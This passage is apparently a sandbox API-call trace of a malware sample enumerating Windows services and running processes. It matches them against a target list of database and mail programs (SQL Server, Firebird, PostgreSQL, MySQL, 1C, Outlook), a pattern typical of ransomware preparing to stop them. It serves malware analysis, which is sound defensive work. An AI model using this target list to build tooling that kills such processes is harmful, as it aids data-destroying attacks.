lpString2="LanmanServer") returned 1 [0040.062] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.062] lstrlenW (lpString="lmhosts") returned 7 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.062] lstrlenW (lpString="MMCSS") returned 5 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.062] lstrlenW (lpString="MpsSvc") returned 6 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.063] lstrlenW (lpString="Netman") returned 6 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.063] lstrlenW (lpString="netprofm") returned 8 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.063] lstrlenW (lpString="NlaSvc") returned 6 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.063] lstrlenW (lpString="nsi") returned 3 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.063] lstrlenW (lpString="PcaSvc") returned 6 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.063] lstrlenW (lpString="PlugPlay") returned 8 [0040.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.064] lstrlenW (lpString="Power") returned 5 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.064] lstrlenW (lpString="ProfSvc") returned 7 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.064] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.064] lstrlenW (lpString="RpcSs") returned 5 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.064] lstrlenW (lpString="SamSs") returned 5 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.064] lstrlenW (lpString="Schedule") returned 8 [0040.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.065] lstrlenW (lpString="SENS") returned 4 [0040.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.065] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.065] lstrlenW (lpString="Spooler") returned 7 [0040.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.065] lstrlenW (lpString="SysMain") returned 7 [0040.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.065] lstrlenW (lpString="Themes") returned 6 [0040.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.066] lstrlenW (lpString="TrkWks") returned 6 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.066] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.066] lstrlenW (lpString="UxSms") returned 5 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.066] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.066] lstrlenW (lpString="VSS") returned 3 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0040.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0040.066] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0040.066] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.066] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.066] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.066] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.066] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.066] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.067] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.067] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.067] lstrlenW (lpString="Winmgmt") returned 7 [0040.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.067] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.067] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.067] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.067] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc18a8 | out: hHeap=0x4b0000) returned 1 [0040.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0040.069] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.070] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.070] lstrlenW (lpString="System") returned 6 [0040.070] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.071] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.071] lstrlenW (lpString="smss.exe") returned 8 [0040.071] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.072] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.072] lstrlenW (lpString="csrss.exe") returned 9 [0040.072] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.072] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.072] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.072] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.073] lstrlenW (lpString="wininit.exe") returned 11 [0040.073] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.073] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.074] lstrlenW (lpString="csrss.exe") returned 9 [0040.074] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.074] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.075] lstrlenW (lpString="winlogon.exe") returned 12 [0040.075] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.075] lstrlenW (lpString="services.exe") returned 12 [0040.075] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.076] lstrlenW (lpString="lsass.exe") returned 9 [0040.076] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.077] lstrlenW (lpString="lsm.exe") returned 7 [0040.077] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.077] lstrlenW (lpString="svchost.exe") returned 11 [0040.077] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.078] lstrlenW (lpString="svchost.exe") returned 11 [0040.078] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.079] lstrlenW (lpString="svchost.exe") returned 11 [0040.079] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.079] lstrlenW (lpString="svchost.exe") returned 11 [0040.079] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.080] lstrlenW (lpString="svchost.exe") returned 11 [0040.080] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.081] lstrlenW (lpString="audiodg.exe") returned 11 [0040.081] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.081] lstrlenW (lpString="svchost.exe") returned 11 [0040.081] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.082] lstrlenW (lpString="svchost.exe") returned 11 [0040.082] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.082] lstrlenW (lpString="dwm.exe") returned 7 [0040.082] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.083] lstrlenW (lpString="explorer.exe") returned 12 [0040.083] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.084] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.084] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.084] lstrlenW (lpString="taskhost.exe") returned 12 [0040.084] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.085] lstrlenW (lpString="svchost.exe") returned 11 [0040.085] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.086] lstrlenW (lpString="taskeng.exe") returned 11 [0040.086] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.086] lstrlenW (lpString="taskhost.exe") returned 12 [0040.086] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0040.087] lstrlenW (lpString="chem venues.exe") returned 15 [0040.087] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0040.087] lstrlenW (lpString="month.exe") returned 9 [0040.087] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0040.088] lstrlenW (lpString="glasgow.exe") returned 11 [0040.088] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: 